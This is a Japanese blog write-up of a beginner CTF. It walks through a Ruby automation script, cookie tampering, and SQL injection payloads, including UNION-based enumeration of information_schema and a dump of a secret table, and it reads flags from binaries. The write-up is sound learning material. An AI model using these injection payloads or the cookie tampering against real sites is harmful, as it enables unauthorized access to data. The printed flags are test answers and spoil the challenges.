一度参加してみたかったCTF for ビギナーズ。
オンサイトで400人近くが集まったのは壮観でしたね。
1200点で13位(324人中)でした。がんばった。
Welcome (Misc 100)
チュートリアル。問題文に書いてあるフラグを送信すればOK。
てけいさん for ビギナーズ (Misc 200)
Webサイトで簡単な四則演算の問題が出る。100問連続正解でフラグ。
RubyのMechanize gemを使って自動化した。
たいていのサイトはCookieにセッション情報を持つけど、Mechanizeはそのあたりの状態の保持を自動で行ってくれる。
require 'mechanize'
agent = Mechanize.new
page = agent.get('http://172.20.1.31/php_math.php')
begin
for i in 0..100
puts page.body
page.body.match(%r|<div>(.+?)</div>|)
ans = eval($1)
form = page.forms.first
form.action = 'http://172.20.1.31/php_math.php'
# pp ans
form.answer = ans
page = agent.submit(form)
# pp page.body
end
rescue Mechanize::ResponseCodeError => exception
pp exception.page.body
end
意図的なのか不具合なのか、いくつか意地悪な箇所がある。
- formのpost先が
404 Not Found
-
/php_math.php
に書き換え
-
- 100問解いた後のページが
500 Internal Server Error
- でもbodyにフラグが書いてある
- Mechanizeはエラーコードが返ってくると例外が飛んでしまうので、キャッチして対処
Classical Injection (Web 100)
たしか' OR 1=1 --
を入れたらフラグが取れた。
May the extensions be with you. (Web 100)
Cookieにadmin=false
という値があるので、true
に書き換えたらフラグ。
もぐもぐ(・~・) (Web 200)
レストランの検索サイト。キーワード検索できる。
試しに' OR 1=1 --
(最後にスペースが必要だったはず) を入れるとデータが全件出てくるようなので、SQLインジェクションできそう。
次に
' union select null --
' union select null, null --
' union select null, null, null --
' union select null, null, null, null --
とやっていくと、nullが4つでエラーが出なくなるので、テーブルは4列と分かる。
次にテーブルの構造を調べる。SQLiteのコマンドは通らなかったが、下記でいけた。
' union select null, null, table_name, column_name from information_schema.columns --
下記が表示される。
(snip)
ごはん :
おみせ :secret_umasugi
ひとこと:id
ごはん :
おみせ :secret_umasugi
ひとこと:gohan
ごはん :
おみせ :secret_umasugi
ひとこと:shop
ごはん :
おみせ :secret_umasugi
ひとこと:comment
ごはん :
おみせ :umai
ひとこと:id
ごはん :
おみせ :umai
ひとこと:gohan
ごはん :
おみせ :umai
ひとこと:shop
ごはん :
おみせ :umai
ひとこと:comment
secret_umasugi
テーブルがいかにも怪しい。
' union select id, gohan, shop, comment from secret_umasugi --
でフラグが取れた。
一歩一歩サーバの奥を探っていく感じで、この問題が一番面白かった。
解いた人が少なかったので、恥ずかしながら質疑応答の時間に解説させていただきました。手際が悪くてすみませんでした。
HiddenFlag (Binary 100)
.data
セクションにフラグがあった。
$ objdump -s -j .data bin100_1
bin100_1: ファイル形式 elf32-i386
セクション .data の内容:
804a018 00000000 00000000 63746634 627b666c ........ctf4b{fl
804a028 34675f31 6e5f6434 37345f35 33676d33 4g_1n_d474_53gm3
804a038 6e377d00 n7}.
strings
でも解ける。100点問題だからまずそっちを試すのがよさそう。
復習 (Binary 200)
逆アセンブルがテキストで与えられるので読む問題。
flag形式:ctf4b{Stage1の答え_Stage2の答え}
0804865f <Stage1>:
804865f: 55 push ebp
8048660: 89 e5 mov ebp,esp
8048662: 83 ec 10 sub esp,0x10
8048665: 8b 45 08 mov eax,DWORD PTR [ebp+0x8]
8048668: c7 00 0a 88 04 08 mov DWORD PTR [eax],0x804880a
804866e: 90 nop
804866f: 90 nop
8048670: c7 45 f8 03 00 00 00 mov X,0x3
8048677: 8b 55 f8 mov edx,X ; edx = 3
804867a: 89 d0 mov eax,edx ; eax = 3
804867c: c1 e0 03 shl eax,0x3 ; eax = 24
804867f: 29 d0 sub eax,edx ; eax = 21
8048681: 89 45 fc mov Y,eax ; Y = 21
8048684: 8b 45 fc mov eax,Y ; eax = 21
8048687: 83 c0 02 add eax,0x2 ; eax = 23
804868a: 89 45 f8 mov X,eax ; X = 23
804868d: 90 nop
804868e: 90 nop
804868f: 8b 45 f8 mov eax,X ; 23
8048692: c9 leave
8048693: c3 ret
08048694 <Stage2>:
8048694: 55 push ebp
8048695: 89 e5 mov ebp,esp
8048697: 83 ec 10 sub esp,0x10
804869a: 8b 45 08 mov eax,DWORD PTR [ebp+0x8]
804869d: c7 00 11 88 04 08 mov DWORD PTR [eax],0x8048811
80486a3: 90 nop
80486a4: 90 nop
80486a5: c7 45 f8 01 00 00 00 mov X,0x1
80486ac: c7 45 fc 01 00 00 00 mov Y,0x1
80486b3: eb 0e jmp 80486c3 <Stage2+0x2f>
80486b5: 8b 45 f8 mov eax,X
80486b8: 0f af 45 fc imul eax,Y
80486bc: 89 45 f8 mov X,eax
80486bf: 83 45 fc 01 add Y,0x1
80486c3: 83 7d fc 05 cmp Y,0x5
80486c7: 7e ec jle 80486b5 <Stage2+0x21>
80486c9: 90 nop
80486ca: 90 nop
80486cb: 8b 45 f8 mov eax,X
80486ce: c9 leave
80486cf: c3 ret
地道に追っていく。上のように、ローカル変数をX, Y
のように置換すると読みやすい。
Stage2はforループっぽいので1*2*3*4*5 = 120
かなと斜め読みしたら正解だった。
UnusedFunction (Binary 200)
genflag
という使われてない関数がある。
先頭でスタックにフラグっぽいものを書き込んでいる。
80484c6: c6 45 d5 63 mov BYTE PTR [ebp-0x2b],0x63
80484ca: c6 45 d6 74 mov BYTE PTR [ebp-0x2a],0x74
80484ce: c6 45 d7 66 mov BYTE PTR [ebp-0x29],0x66
80484d2: c6 45 d8 34 mov BYTE PTR [ebp-0x28],0x34
80484d6: c6 45 d9 62 mov BYTE PTR [ebp-0x27],0x62
80484da: c6 45 da 7b mov BYTE PTR [ebp-0x26],0x7b
80484de: c6 45 db 34 mov BYTE PTR [ebp-0x25],0x34
80484e2: c6 45 dc 6e mov BYTE PTR [ebp-0x24],0x6e
80484e6: c6 45 dd 34 mov BYTE PTR [ebp-0x23],0x34
80484ea: c6 45 de 6c mov BYTE PTR [ebp-0x22],0x6c
80484ee: c6 45 df 79 mov BYTE PTR [ebp-0x21],0x79
80484f2: c6 45 e0 7a mov BYTE PTR [ebp-0x20],0x7a
80484f6: c6 45 e1 33 mov BYTE PTR [ebp-0x1f],0x33
80484fa: c6 45 e2 5f mov BYTE PTR [ebp-0x1e],0x5f
80484fe: c6 45 e3 75 mov BYTE PTR [ebp-0x1d],0x75
8048502: c6 45 e4 6e mov BYTE PTR [ebp-0x1c],0x6e
8048506: c6 45 e5 75 mov BYTE PTR [ebp-0x1b],0x75
804850a: c6 45 e6 35 mov BYTE PTR [ebp-0x1a],0x35
804850e: c6 45 e7 33 mov BYTE PTR [ebp-0x19],0x33
8048512: c6 45 e8 64 mov BYTE PTR [ebp-0x18],0x64
8048516: c6 45 e9 5f mov BYTE PTR [ebp-0x17],0x5f
804851a: c6 45 ea 66 mov BYTE PTR [ebp-0x16],0x66
804851e: c6 45 eb 75 mov BYTE PTR [ebp-0x15],0x75
8048522: c6 45 ec 6e mov BYTE PTR [ebp-0x14],0x6e
8048526: c6 45 ed 63 mov BYTE PTR [ebp-0x13],0x63
804852a: c6 45 ee 37 mov BYTE PTR [ebp-0x12],0x37
804852e: c6 45 ef 31 mov BYTE PTR [ebp-0x11],0x31
8048532: c6 45 f0 30 mov BYTE PTR [ebp-0x10],0x30
8048536: c6 45 f1 6e mov BYTE PTR [ebp-0xf],0x6e
804853a: c6 45 f2 7d mov BYTE PTR [ebp-0xe],0x7d
804853e: c6 45 f3 00 mov BYTE PTR [ebp-0xd],0x0
その後にロジックが続くのでエンコードされてるかなと思ったけど、0x60
近辺の値が多いのでアルファベットの平文かなとアタリをつけて、そのまま文字列に変換したら正解。
arr = [ 0x63, 0x74, 0x66, 0x34, 0x62, 0x7b, 0x34, 0x6e, 0x34, 0x6c, 0x79, 0x7a, 0x33, 0x5f, 0x75, 0x6e, 0x75, 0x35, 0x33, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x37, 0x31, 0x30, 0x6e, 0x7d, 0x0, ]
arr.each do |e|
print e.chr
end
ctf4b{4n4lyz3_unu53d_func710n}
まとめ
CTFの参加経験は何度かあるのですが、独学なので基礎をちゃんと押さえようと思って参加しました。
資料も講義もとてもわかりやすく、いくつか知らないツールやテクニックも学べてよかったです。
なにより現場でCTFをやるのは楽しかったです。運営の皆様ありがとうございました。